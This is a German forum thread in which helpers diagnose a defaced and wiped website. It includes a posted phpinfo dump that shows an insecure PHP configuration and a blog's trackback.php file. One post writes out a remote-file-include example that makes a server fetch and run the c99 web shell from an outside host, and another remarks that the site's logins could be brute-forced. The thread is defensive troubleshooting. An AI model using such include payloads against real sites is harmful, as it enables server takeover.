Wie konnte er meine Seite defacen?

Hallo,

ich hoffe das ich mit meiner Frage im richtigen Bereich gelandet bin.

Gestern wurde unsere Seite Gehack/gecrackt oder was auch immer, jedenfalls konnte man nur erkennen das es irgendwas mit Plaestina zu tun hat. Wir fanden dann auf unserem Server das vorgeschaltete Bild & die neue Index.html. Unsere Index.html war weg, gelöscht. Nun gut, soweit versetzte uns das zwar in Angst & Schrecken, aber wir dachten das wir das hinbekommen. Ich machte noch schnell Backups vom Newsboard und Foum. Schon im nächsten Augenblick wurde mein Albtraum war und dieser Jemand hat alles ganz frech einfach vom Server gelöscht! Da saß ich nun un keine Ahung was ich tun sollte. Ich rief dann meinen Provider an und bat um Wiederherstellung, klappte nicht. Sie wollten es aus Kulanz versuchen. Doch es wurde von deren Seite her nicht wieder rückgängig gemacht.

Nun bin ich verunsichert und frage mich: "Wie konnte dieser Jemand, sämtliche Daten von meinem Server löschen?" In den Datenbanken ist alles geblieben.

Kann mir jemand helfen? Ist meine HP noch immer in Gefahr?

LG, Maggie
 
vieleicht ne alte server version?
alten apache oder vnc?
da gibts 100te möglichkeiten und exploits ....
 
Hallo,

vielen Dank für deine Antwort.
Original von b4ck
vieleicht ne alte server version?
alten apache oder vnc?
Oh herrje, gute Frage. Also ich bin bei 1 & 1 und habe einen Managed Server. Wie finde ich heraus ob ich einen alten Apache habe? Und was ist ein vnc?

Ich rief gestern meinen Provider an und erklärte ihm was passiert ist, es kam mir so vor als wäre der Mann am Telefon ein wenig überfordert gewesen und meinte das der Angriff auch gut über das Forum gekommen sein könnte. Ist das möglich? Doch wie soll der über das Board an die ftp Daten herangekommen sein? Mir ist das alles unverständlich.

Original von b4ck
da gibts 100te möglichkeiten und exploits ....
D.h. das ich also im Grunde garkeine Chance habe herauszufinden wie es passiert ist? Exploits sagen mir leider auch nichts, sind das Programme?

LG, Maggie
 
-> VNC Virtual Network Computing
-> Serverversion Du kannst phpinfo() aufrufen.
Dazu machst du eine neue Datei. schreibst das rein:
Code:
<?php phpinfo(); ?>

und speicherst es unter phpinfo.php ab und lädst es hoch
Dann gehst du auf deine Seite
-> www.seite.de/phpinfo.php

und postest hier das was rauskommt.

MFG -=HKA=-

PS exploits sind kleine Scripte, die eine Sicherheitslücke automatisch ausnutzen.
 
Vielen Dank für den Link.

Original von HKA
PS exploits sind kleine Scripte, die eine Sicherheitslücke automatisch ausnutzen.
Ok, aber auch unmöglich so ein Script dann aufzuspüren oder? Und jetzt erst recht, wo alle Daten vom Server sind.

Hier die Daten aus der phpinfo.php
PHP Version 4.4.4

System Linux infong 2.4 #1 SMP Thu Jan 13 08:59:31 CET 2005 i686 unknown
Build Date Nov 14 2006 12:36:36
Configure Command '../configure' '--with-pear' '--with-mysql=/usr' '--with-zlib' '--enable-debug=no' '--enable-safe-mode=no' '--enable-discard-path=no' '--with-gd' '--with-png-dir=/usr/lib' '--enable-track-vars' '--with-db' '--with-gdbm' '--enable-force-cgi-redirect' '--with-ttf=/usr/' '--enable-ftp' '--with-mcrypt' '--enable-dbase' '--enable-memory-limit' '--enable-calendar' '--enable-wddx' '--with-jpeg-dir=/usr/src/kundenserver/jpeg-6b' '--enable-bcmath' '--enable-gd-imgstrttf' '--enable-shmop' '--enable-mhash' '--with-mhash=/usr/src/kundenserver/mhash-0.8.9/' '--with-openssl' '--enable-xslt' '--with-xslt-sablot' '--with-dom' '--with-dom-xslt' '--with-dom-exslt' '--with-imap' '--with-curl' '--with-iconv=/usr/local' '--with-freetype-dir=/usr/include/freetype2' '--with-bz2' '--with-gettext' '--enable-exif' '--with-idn' '--enable-mbstring=all' '--with-apxs=/usr/local/apache/std/sbin/apxs'
Server API Apache
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/local/lib/php.ini
PHP API 20020918
PHP Extension 20020429
Zend Extension 20050606
Debug Build no
Zend Memory Manager enabled
Thread Safety disabled
Registered PHP Streams php, http, ftp, https, ftps, compress.bzip2, compress.zlib

Zend logo This program makes use of the Zend Scripting Language Engine:
Zend Engine v1.3.0, Copyright (c) 1998-2004 Zend Technologies

PHP Credits
Configuration
PHP Core
Directive Local Value Master Value
allow_call_time_pass_reference On On
allow_url_fopen On On
always_populate_raw_post_data Off Off
arg_separator.input & &
arg_separator.output & &
asp_tags Off Off
auto_append_file no value no value
auto_prepend_file no value no value
browscap /usr/local/lib/browscap.ini /usr/local/lib/browscap.ini
default_charset no value no value
default_mimetype text/html text/html
define_syslog_variables Off Off
disable_classes no value no value
disable_functions no value no value
display_errors On On
display_startup_errors Off Off
doc_root no value no value
docref_ext no value no value
docref_root no value no value
enable_dl On On
error_append_string no value no value
error_log no value no value
error_prepend_string no value no value
error_reporting 2037 2037
expose_php On On
extension_dir /usr/local/lib/php/extensions/no-debug-non-zts-20020429 /usr/local/lib/php/extensions/no-debug-non-zts-20020429
file_uploads On On
gpc_order GPC GPC
highlight.bg #FFFFFF #FFFFFF
highlight.comment #FF8000 #FF8000
highlight.default #0000BB #0000BB
highlight.html #000000 #000000
highlight.keyword #007700 #007700
highlight.string #DD0000 #DD0000
html_errors On On
ignore_repeated_errors Off Off
ignore_repeated_source Off Off
ignore_user_abort Off Off
implicit_flush Off Off
include_path .:/usr/local/lib/php .:/usr/local/lib/php
log_errors Off Off
log_errors_max_len 1024 1024
magic_quotes_gpc On On
magic_quotes_runtime Off Off
magic_quotes_sybase Off Off
max_execution_time 50000 50000
max_input_time -1 -1
memory_limit 40M 40M
open_basedir no value no value
output_buffering 0 0
output_handler no value no value
post_max_size 8M 8M
precision 14 14
register_argc_argv On On
register_globals On On
report_memleaks On On
safe_mode Off Off
safe_mode_exec_dir /usr/local/php/bin /usr/local/php/bin
safe_mode_gid Off Off
safe_mode_include_dir no value no value
sendmail_from no value no value
sendmail_path /usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i
serialize_precision 100 100
short_open_tag On On
SMTP localhost localhost
smtp_port 25 25
sql.safe_mode Off Off
track_errors Off Off
unserialize_callback_func no value no value
upload_max_filesize 20M 20M
upload_tmp_dir no value no value
user_dir no value no value
variables_order no value no value
xmlrpc_error_number 0 0
xmlrpc_errors Off Off
y2k_compliance On On

apache
APACHE_INCLUDE no value
APACHE_TARGET no value
Apache Version Apache/1.3.37 (Unix)
Apache Release 10314100
Apache API Version 19990320
Hostname:Port www.wwe-germany.net:80
User/Group p34773601(1001)/600
Max Requests Per Child: 100 - Keep Alive: on - Max Per Connection: 200
Timeouts Connection: 6000 - Keep-Alive: 2
Server Root /usr/local/apache
Loaded Modules mod_frontpage, mod_tinc, mod_splogger_bin, mod_fastcgi, mod_perl, mod_php4, mod_ssl, mod_setenvif, mod_so, mod_unique_id, mod_headers, mod_expires, mod_proxy, mod_auth, mod_access, mod_rewrite, mod_alias, mod_userdir, mod_speling, mod_actions, mod_imap, mod_asis, mod_cgi, mod_dir, mod_autoindex, mod_include, mod_status, mod_negotiation, mod_mime, mod_log_config, mod_env, http_core

Directive Local Value Master Value
child_terminate 0 0
engine 1 1
last_modified 0 0
xbithack 0 0

Apache Environment
Variable Value
DBENTRY d0000#CPU 60 #MEM 131072 #CGI 53598 #NPROC 200 #TAID 34773601 #WERB 0 #LANG 0 #STAT 1
DOCUMENT_ROOT /homepages/13/d79030936/htdocs
HTTP_ACCEPT text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
HTTP_ACCEPT_CHARSET ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING gzip,deflate
HTTP_ACCEPT_LANGUAGE de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
HTTP_CONNECTION keep-alive
HTTP_COOKIE bbcodemode=0
HTTP_HOST www.wwe-germany.net
HTTP_KEEP_ALIVE 300
HTTP_USER_AGENT Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
REDIRECT_DBENTRY /homepages/13/d79030936/htdocs:d0000#CPU 60 #MEM 131072 #CGI 53598 #NPROC 200 #TAID 34773601 #WERB 0 #LANG 0 #STAT 1
REMOTE_ADDR 172.173.124.149
REMOTE_PORT 24895
SCRIPT_FILENAME /homepages/13/d79030936/htdocs/phpinfo.php
SERVER_ADDR 212.227.99.199
SERVER_ADMIN webadmin@kundenserver.de
SERVER_NAME www.wwe-germany.net
SERVER_PORT 80
SERVER_SIGNATURE no value
SERVER_SOFTWARE Apache/1.3.37 (Unix)
SP_LANG 0
SP_TZ Europe/Berlin
UNIQUE_ID RfAYiawdrwYAAHZxbq4
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING no value
REQUEST_URI /phpinfo.php
SCRIPT_NAME /phpinfo.php

HTTP Headers Information
HTTP Request Headers
HTTP Request GET /phpinfo.php HTTP/1.1
Accept text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding gzip,deflate
Accept-Language de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Connection keep-alive
Cookie bbcodemode=0
Host www.wwe-germany.net
Keep-Alive 300
User-Agent Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
HTTP Response Headers
X-Powered-By PHP/4.4.4
Keep-Alive timeout=2, max=200
Connection Keep-Alive
Transfer-Encoding chunked
Content-Type text/html

bcmath
BCMath support enabled

bz2
BZip2 Support Enabled
BZip2 Version 1.0.2, 30-Dec-2001

calendar
Calendar support enabled

ctype
ctype functions enabled

curl
CURL support enabled
CURL Information libcurl/7.10.3 OpenSSL/0.9.6c ipv6 zlib/1.2.1

db
This is GDBM version 1.7.3, as of May 19, 1994.

dba
DBA support enabled
Supported handlers gdbm cdb cdb_make inifile flatfile

domxml
DOM/XML enabled
DOM/XML API Version 20020815
libxml Version 20609
HTML Support enabled
XPath Support enabled
XPointer Support enabled
DOM/XSLT enabled
libxslt Version 1.0.33
libxslt compiled against libxml Version 2.6.2
DOM/EXSLT enabled
libexslt Version 1.0.33

exif
EXIF Support enabled
EXIF Version 1.4 $Id: exif.c,v 1.118.2.37.2.4 2006/01/01 13:46:52 sniper Exp $
Supported EXIF Version 0220
Supported filetypes JPEG,TIFF

ftp
FTP support enabled

gd
GD Support enabled
GD Version bundled (2.0.28 compatible)
FreeType Support enabled
FreeType Linkage with freetype
GIF Read Support enabled
GIF Create Support enabled
JPG Support enabled
PNG Support enabled
WBMP Support enabled
XBM Support enabled

gettext
GetText Support enabled

iconv
iconv support enabled
iconv implementation libiconv
iconv library version 1.8

Directive Local Value Master Value
iconv.input_encoding ISO-8859-1 ISO-8859-1
iconv.internal_encoding ISO-8859-1 ISO-8859-1
iconv.output_encoding ISO-8859-1 ISO-8859-1

idn
IDN support enabled
RCS Version $Id: idn.c,v 0.31 2004/12/18 15:38:43 turbo Exp $
LibIDN version 0.4.1

Directive Local Value Master Value
idn.allow_unassigned_chars 0 0
idn.default_charset ISO-8859-1 ISO-8859-1
idn.use_std_3_ascii_rules 0 0

imap
IMAP c-Client Version 2001

mbstring
Multibyte Support enabled
Japanese support enabled
Simplified chinese support enabled
Traditional chinese support enabled
Korean support enabled
Russian support enabled
Multibyte (japanese) regex support enabled

mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.

Directive Local Value Master Value
mbstring.detect_order no value no value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input pass pass
mbstring.http_output pass pass
mbstring.internal_encoding no value no value
mbstring.language neutral neutral
mbstring.substitute_character no value no value

mcrypt
mcrypt support enabled
version >= 2.4.x
Supported ciphers twofish rijndael-128 rijndael-192 rijndael-256 saferplus rc2 xtea serpent safer-sk64 safer-sk128 cast-256 loki97 gost threeway cast-128 blowfish des blowfish-compat tripledes enigma arcfour panama wake
Supported modes ofb cfb nofb cbc ecb stream ncfb ctr

Directive Local Value Master Value
mcrypt.algorithms_dir no value no value
mcrypt.modes_dir no value no value

mhash
MHASH support Enabled
MHASH API Version 20011020

mysql
MySQL Support enabled
Active Persistent Links 0
Active Links 0
Client API version 4.0.25
MYSQL_MODULE_TYPE external
MYSQL_SOCKET /var/run/mysqld/mysqld.sock
MYSQL_INCLUDE -I/usr/include/mysql
MYSQL_LIBS -L/usr/lib -lmysqlclient

Directive Local Value Master Value
mysql.allow_persistent On On
mysql.connect_timeout 60 60
mysql.default_host no value no value
mysql.default_password no value no value
mysql.default_port no value no value
mysql.default_socket no value no value
mysql.default_user no value no value
mysql.max_links Unlimited Unlimited
mysql.max_persistent Unlimited Unlimited
mysql.trace_mode Off Off

openssl
OpenSSL support enabled
OpenSSL Version OpenSSL 0.9.6g 9 Aug 2002

overload
User-Space Object Overloading Support enabled

pcre
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 6.6 06-Feb-2006

posix
Revision $Revision: 1.51.2.4.2.1 $

session
Session Support enabled
Registered save handlers files user

Directive Local Value Master Value
session.auto_start Off Off
session.bug_compat_42 On On
session.bug_compat_warn On On
session.cache_expire 180 180
session.cache_limiter nocache nocache
session.cookie_domain no value no value
session.cookie_lifetime 0 0
session.cookie_path / /
session.cookie_secure Off Off
session.entropy_file no value no value
session.entropy_length 0 0
session.gc_divisor 100 100
session.gc_maxlifetime 1440 1440
session.gc_probability 1 1
session.name PHPSESSID PHPSESSID
session.referer_check no value no value
session.save_handler files files
session.save_path /tmp /tmp
session.serialize_handler php php
session.use_cookies On On
session.use_only_cookies Off Off
session.use_trans_sid Off Off

shmop
shmop support enabled

standard
Regex Library Bundled library enabled
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i

Directive Local Value Master Value
assert.active 1 1
assert.bail 0 0
assert.callback no value no value
assert.quiet_eval 0 0
assert.warning 1 1
auto_detect_line_endings 0 0
default_socket_timeout 60 60
safe_mode_allowed_env_vars PHP_ PHP_
safe_mode_protected_env_vars LD_LIBRARY_PATH LD_LIBRARY_PATH
url_rewriter.tags a=href,area=href,frame=src,form=fakeentry,fieldset= a=href,area=href,frame=src,form=fakeentry,fieldset=
user_agent no value no value

tokenizer
Tokenizer Support enabled

wddx
WDDX Support enabled
WDDX Session Serializer enabled

xml
XML Support active
XML Namespace Support active
EXPAT Version 1.95.6

xslt
XSLT support enabled
Backend Sablotron
Sablotron Version 1.0
Sablotron Information Cflags: -lstdc++ -O2 -D_REENTRANT Libs: -L/usr/lib -lexpat Prefix: /usr

zlib
ZLib Support enabled
Compiled Version 1.2.1
Linked Version 1.2.1

Directive Local Value Master Value
zlib.output_compression Off Off
zlib.output_compression_level -1 -1
zlib.output_handler no value no value

Additional Modules
Module Name
dbase

Environment
Variable Value
PWD /
PAGER less
HOSTNAME infongd8171
HISTFILESIZE 10000
SP_TZ Europe/Berlin
NPROC 200
VISUAL vi
USER root
HISTCONTROL ignoredups
MACHTYPE i386-pc-linux-gnu
MAIL /var/mail/root
EDITOR vi
LANG C
SP_LANG 0
LOGNAME root
SHLVL 4
SHELL /bin/bash
CPU 60
HOSTTYPE i386
OSTYPE linux-gnu
HOME /root
MEM 131072
TERM dumb
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
_ /usr/local/apache/perf/sbin/httpd

PHP Variables
Variable Value
PHP_SELF /phpinfo.php
_REQUEST["bbcodemode"] 0
_COOKIE["bbcodemode"] 0
_SERVER["DBENTRY"] d0000#CPU 60 #MEM 131072 #CGI 53598 #NPROC 200 #TAID 34773601 #WERB 0 #LANG 0 #STAT 1
_SERVER["DOCUMENT_ROOT"] /homepages/13/d79030936/htdocs
_SERVER["HTTP_ACCEPT"] text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
_SERVER["HTTP_ACCEPT_CHARSET"] ISO-8859-1,utf-8;q=0.7,*;q=0.7
_SERVER["HTTP_ACCEPT_ENCODING"] gzip,deflate
_SERVER["HTTP_ACCEPT_LANGUAGE"] de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
_SERVER["HTTP_CONNECTION"] keep-alive
_SERVER["HTTP_COOKIE"] bbcodemode=0
_SERVER["HTTP_HOST"] www.wwe-germany.net
_SERVER["HTTP_KEEP_ALIVE"] 300
_SERVER["HTTP_USER_AGENT"] Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2
_SERVER["PATH"] /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
_SERVER["REDIRECT_DBENTRY"] /homepages/13/d79030936/htdocs:d0000#CPU 60 #MEM 131072 #CGI 53598 #NPROC 200 #TAID 34773601 #WERB 0 #LANG 0 #STAT 1
_SERVER["REMOTE_ADDR"] 172.173.124.149
_SERVER["REMOTE_PORT"] 24895
_SERVER["SCRIPT_FILENAME"] /homepages/13/d79030936/htdocs/phpinfo.php
_SERVER["SERVER_ADDR"] 212.227.99.199
_SERVER["SERVER_ADMIN"] webadmin@kundenserver.de
_SERVER["SERVER_NAME"] www.wwe-germany.net
_SERVER["SERVER_PORT"] 80
_SERVER["SERVER_SIGNATURE"] no value
_SERVER["SERVER_SOFTWARE"] Apache/1.3.37 (Unix)
_SERVER["SP_LANG"] 0
_SERVER["SP_TZ"] Europe/Berlin
_SERVER["UNIQUE_ID"] RfAYiawdrwYAAHZxbq4
_SERVER["GATEWAY_INTERFACE"] CGI/1.1
_SERVER["SERVER_PROTOCOL"] HTTP/1.1
_SERVER["REQUEST_METHOD"] GET
_SERVER["QUERY_STRING"] no value
_SERVER["REQUEST_URI"] /phpinfo.php
_SERVER["SCRIPT_NAME"] /phpinfo.php
_SERVER["PATH_TRANSLATED"] /homepages/13/d79030936/htdocs/phpinfo.php
_SERVER["PHP_SELF"] /phpinfo.php
_SERVER["argv"]

Array
(
)

_SERVER["argc"] 0
_ENV["PWD"] /
_ENV["PAGER"] less
_ENV["HOSTNAME"] infongd8171
_ENV["HISTFILESIZE"] 10000
_ENV["SP_TZ"] Europe/Berlin
_ENV["NPROC"] 200
_ENV["VISUAL"] vi
_ENV["USER"] root
_ENV["HISTCONTROL"] ignoredups
_ENV["MACHTYPE"] i386-pc-linux-gnu
_ENV["MAIL"] /var/mail/root
_ENV["EDITOR"] vi
_ENV["LANG"] C
_ENV["SP_LANG"] 0
_ENV["LOGNAME"] root
_ENV["SHLVL"] 4
_ENV["SHELL"] /bin/bash
_ENV["CPU"] 60
_ENV["HOSTTYPE"] i386
_ENV["OSTYPE"] linux-gnu
_ENV["HOME"] /root
_ENV["MEM"] 131072
_ENV["TERM"] dumb
_ENV["PATH"] /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
_ENV["_"] /usr/local/apache/perf/sbin/httpd

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
 
Es muss ein Exploit gewesen sein.
Ich kenne keine Lücke für diese Serverversion.

Ein exploit bleibt eigentlich immer auf dem PC des Angreifers.
Es sendet nur manpulierte daten an das Opfer.
Nochmal hast du ein CMS, Boardsystem, Blogsystem etc benutzt??
Oder hast du die Seite selber gebaut?

MFG -=HKA=-
 
Naja, bei nem Managed-Server sollte die eingesetzte Software schon regelmäßig von dem Provider geupdated werden.... und ich will 1&1 mal nicht Unfähigkeit vorwerfen, zumal ich noch nie einen Managed-Server hatte.... ^^

Also, ich würde auch vermuten, dass der Angriff über eine PHP-Anwendung kam. Du hattest ja anscheinend PHP-Anwendungen auf dem Host (Gästebuch, News, Forum, Kontaktformular, ...)?

Solche Skripte können nicht nur wunderbar ein Forum darstellen oder News ausgeben, sondern wenn eine (un)bekannte Sicherheitslücke sich irgendwo im Code versteckt, dann kann ein Angreifer, diese ausnutzen und bösartigen Code ausführen. Skriptsprachen können nämlich in der Regel etwas mehr als "nur hübsch auszusehen"... :P

Meistens passiert soetwas wenn die Seite bei Google angemeldet ist und für diese Anwendung eine Sicherheitslücke oder so ein Exploit veröffentlich wird. Dann gehen diese Typen hin, googlen etwas geschickt herum und finden zig Seiten mit genau diese verwundbaren Anwendung.... Das würde auch erklären, warum du wahllos von einer palästinensischen Defacer-Gruppe angegriffen wurdest.

Und da der Angreifer ja alle Seiten gelöscht hat, dürfte die verwundbare Anwendung auch gelöscht sein. Du könntest deinen Provider mal bitten dir die installierte Software samt Versionsnummer mitzuteilen. Dann kannste nachschauen ob für eines dieser Programme eine Sicherheitslücke bekannt ist (sollte aber eigentlich dein Provider machen, dafür bezahlst du ja schließlich den Managed-Server).

Als Webmaster gehört jedoch leider wieder etwas Ahnung dazu. Auch wenn du dich nicht mehr um den Server kümmern musst, solltest du zumindest darauf achten ob eine Sicherheitslücke für deine Webanwendungen bekannt wird (abonnier ne Mailingliste oder RSS-Feed), denn das übernimmt dein Provider in der Regel nicht. ;)

Btw, die haben alle Dateien gelöscht, aber nicht die Datenbank leer geräumt, obwohl sie Dateizugriff hatten und somit die Datenbank-Zugangsdaten auslesen konnten? Die hatten es wohl eilig... ^^

//EDIT

Original von HKA
Es muss ein Exploit gewesen sein.
Ich kenne keine Lücke für diese Serverversion.

Ein exploit bleibt eigentlich immer auf dem PC des Angreifers.
Es sendet nur manpulierte daten an das Opfer.
[...]

Du solltest dir nochmal durchlesen was ein Exploit ist und was er macht.... ;)
 
Hab jetzt mal geguckt. Ihr habt ein Board genutzt, dass down ist.
Bräucht nurnoch Board Software.
Ihr habt überall Einloggmöglichkeiten, die man bestimmt schnell bruten kann.

MFG -=HKA=-

PS mit durchlesen meintest du mich??? Eher nicht.
 
@Maggie1979:
Du solltest deinen Provider mal bitten, deine PHP-Config etwas sicherer einzustellen, die kannste nämlich in die Tonne treten... ^^
register_globals und allow_url_fopen ON und dazu noch display_errors und expose_php auch auf ON und als Kirsche obendrauf sind keine Systemfunktionen deaktiviert, das kann nix gutes werden... :P

[OFFTOPIC]

@HKA:
Ein Exploit muss nicht auf dem Rechner des Angreifers bleiben (Stichwort: "Local File Includes"). Er könnte sich z.B. auch als letzte Anweisung selbst löschen.
Daher ist es auch falsch, dass er nur manipulierte Daten ans Opfer sendet, das kann er u.U. auch machen.

Gerade in Zusammenhang mit PHP ist deine Behauptung eher unsinnig, denn wo wird denn der PHP-Code ausgeführt? ;)

[/OFFTOPIC]
 
- allow_url_fopen #bin ich auch dafür umbedingt aus
- register_globals #wenn mans net braucht schließen (find ich aber auch net so wichtig)
- display_errors und expose_php # braucht man immer um Fehler zu finden und find ich mehr praktisch als unsicher


//Auch OFFTOPIC
Beim Exploit ist das meistens der Fall.
Du hast recht, wenige bleiben auch auf dem server, aber
SQL-Exploits schonmal nicht, da nur manipulierte Daten gesendet werden.
Bei Buffer-Overflow Exploits werden nur die Shells geschickt, das Exploit selber, dass es aber schickt ist lokal.
Bei Fileinclution ala sit.php?include=http://www.site.de/c99.txt
Kann man das Exploit auch nicht auf dem Server finden, da es nur ausgelesen wurde und dann ausgeführt wird.

MFG -=HKA=-
 
@Maggie1979:
Also, ich hab auch mal kurz einen Blick auf deine Page geworfen und ich hab auch keine bekannte Sicherheitslücke für deine andere PHP-Anwendung (SilverNews) gefunden.
Also nimm dir eine gute Forensoftware (bei der zur Zeit keine Lücken bekannt sind) und spiel die auf. Evtl hilft dir ja jmd dabei.
Und in Zukunft solltest du halt darauf achten, wenn Sicherheitslücken für deine Software bekannt werden, dass du direkt bei kritischen Meldungen die Seite dichtmachst und sie dann updatest.

@HKA:
Du wirfst alles durcheinander. :)
1. display_errors auf ON zu stellen, ist im Zusammenhang mit SQL-Injections sehr gefährlich
2. sit.php?include=http://www.site.de/c99.txt wäre ein Beispiel für Remote File Includes
(Remote File Includes != Local File Includes)
3. Wir haben hier vorrangig von PHP gesprochen und weniger über SQL und PHP wird serverseitig ausgeführt und somit sind die meisten PHP-Attacken lokal. Ausnahmen bestätigen hier aber auch die Regel....
4. Und ja, bei den meisten Buffer-Overflow-Exploits wird nur der Payload geschickt... aber du wirfst alles in einen Topf....
 
Hallo,

ich möchte mal eben updaten. Wir haben ein Backup von unserem Provider bekommen und somit ist nun alles wieder da! Auch ein uns unbekannter Order auf dem Server. Dieses Verzeichnis nennt sich blog_-_Test und habe ich definitiv nicht angelegt. Auf den ersten Blick schaut es so aus, als würde es sich um einen Blog handeln. Wir hatten auch einen Blog installiert, jedoch wusste keiner etwas von und wir nutzten diesen nur zu Übungszwecken.

Nun habe ich eben mal in dieses uns unbekannte Verzeichnis geschaut und u.a. auch eine trackback.php gefunden. Sagt euch das etwas? Kann es etwas mit unserem versteckten Blog zu tun haben? Wir nutzen den B2evolution Blog.

Als Forensoftware nutze ich das Wbb 2.1.6 und erst vor ein paar Tagen habe ich eine Sicherheitslücke darin schließen müssen. Auf Woltlab konnte ich mir dazu zwei Dateien herunterladen.

LG, Maggie
 
1.In WBB gibt es genug Lücken und es werden auch von vielen welche gesucht, da es shr belieht ist. Versuch einfach weiter die neuste Version zu haben und die Lücken notfalls manuell zu schließen.

2. Trackback.php kenn ich nicht aber vll kannste ja Code posten (nicht vergessen mögliche passwörter rauszunehmen :) )

MFG -=HKA=-

PS hab die offtopic antwort dir per pm geschickt
 
Original von HKA
2. Trackback.php kenn ich nicht aber vll kannste ja Code posten (nicht vergessen mögliche passwörter rauszunehmen :) )
Ja, ich poste den Code der trackback.php mal. Kann es vielleicht sein das sie sich als Blog tarnen wollten?

Code:
 <?php

/*
  ===========================

  boastMachine v3.1
  Released : Sunday, June 5th 2005 ( 06/05/2005 )
  http://boastology.com

  Developed by Kailash Nadh
  Email   : mail@kailashnadh.name
  Website : http://kailashnadh.name, http://bnsoft.net
  Blog    : http://boastology.com/blog

  boastMachine is a free software licensed under GPL (General public license)

  ===========================
*/


	include_once dirname(__FILE__)."/config.php";
	include_once dirname(__FILE__)."/$bmc_dir/main.php";


	//================== SEND TRACKBACKS =======================

	// This code works when the flag $send_track_back is set to true
	// Only used while posting a new article



	if(isset($send_track_back)) {
		$urls=$_POST['track_urls'];
		$urls=explode("\n", $urls); // The url list to be trackbacked

		$title=urlencode($_POST['title']);

		$excerpt=urlencode(substr($_POST['smr'],0,255)); // Cut the characters at 255

		$blog_name=urlencode($i_blog['blog_name']);
		$post_id=$db->query("SELECT last_insert_id() FROM ".MY_PRF."posts", false); // Id of the last post

		$url=$bmc_vars['site_url']."/".BLOG_FILE."?id=".$post_id['last_insert_id()']; // The perma link for this post
		$url=urlencode($url);
		// Send pings!
		for($n=0;$n<count($urls);$n++) {

		// Get the host url, parse it and take out the domain and the path
		$the_host=$urls[$n];
		$the_host=str_replace("http://","",$the_host);
		$the_host=str_replace("https://","",$the_host);
		$the_host=explode("/",$the_host);

		$host=trim($the_host[0]); // The host domain name
		unset($the_host[0]);
		$path="/".trim(implode("/",$the_host)); // The path

			if(!empty($path) && !empty($host)) {
				$query = "title=$title&url=$url&excerpt=$excerpt&blog_name=$blog_name";
				$fp = fsockopen("$host", 80, $errnum, $errstr, 30); // Send the ping
				if($fp) {
					fputs($fp, "POST {$path} HTTP/1.1\r\n");
					fputs($fp, "Host: {$host}\r\n");
					fputs($fp, "Content-type: application/x-www-form-urlencoded; charset=\"{$lang['ENCODING']}\"\r\n");
					fputs($fp, "User-Agent: boastMachine ".BMC_VERSION."\r\n");
					fputs($fp, "Content-length: ".strlen($query)."\r\n");
					fputs($fp, "Connection: close\r\n\r\n");
					fputs($fp, $query."\r\n\r\n");
					fclose($fp);
				}
			}
		}

	return 1;
	}

	//================== ACCEPTING TRACKBACKS =======================


	$vars=explode("/", $_SERVER['REQUEST_URI']); // The URI (path)
	$post_id=$vars[count($vars)-1];
	$blog_id=$vars[count($vars)-2];

	// Get the blog/post ids from the trackback uri

	if(!$bmc_vars['trackbacks']) {
		bmc_trackback_respond(1,"Trackbacks disabled");
	}


	$track_blog=$db->query("SELECT id FROM ".MY_PRF."blogs WHERE frozen='0' AND id='{$blog_id}'", false);
	$track_post=$db->query("SELECT id FROM ".MY_PRF."posts WHERE accept_trackback='1' AND status ='1' AND blog='{$track_blog['id']}' AND id='{$post_id}'", false);

	if(!isset($track_post['id'])) {
		bmc_trackback_respond(1,"Invalid target post");
	}

	// Empty parameters
	if(!$post_id || !is_numeric($post_id) || !$blog_id || !is_numeric($blog_id)) {
		bmc_trackback_respond(1,"Missing post info");
	}

	// Get the posted variables
	if(!empty($_REQUEST)) {
		if(empty($_REQUEST['title']) || empty($_REQUEST['url'])) {
			bmc_trackback_respond(1,"Missing required fields");
		}
	} else {
		bmc_trackback_respond(1,"Missing required fields");
	}

	// Get the source charset
	preg_match_all ("/\"(.*?)\"/", $_SERVER['CONTENT_TYPE'], $charset);
	$charset=ereg_replace("[^[:space:]a-zA-Z0-9\-]", "", $charset[1][0]);

	$title=substr(mb_convert_encoding($_REQUEST['title'],$lang['ENCODING'],$charset),0,75); // Cut the characters at 75
	$url=mb_convert_encoding($_REQUEST['url'],$lang['ENCODING'],$charset);


// The excerpt ( summary )
if(!empty($_REQUEST['excerpt'])) {
	$excerpt=substr(mb_convert_encoding($_REQUEST['excerpt'],$lang['ENCODING'],$charset),0,400); // Cut the characters at 400
} else {
	$excerpt=$title;
}

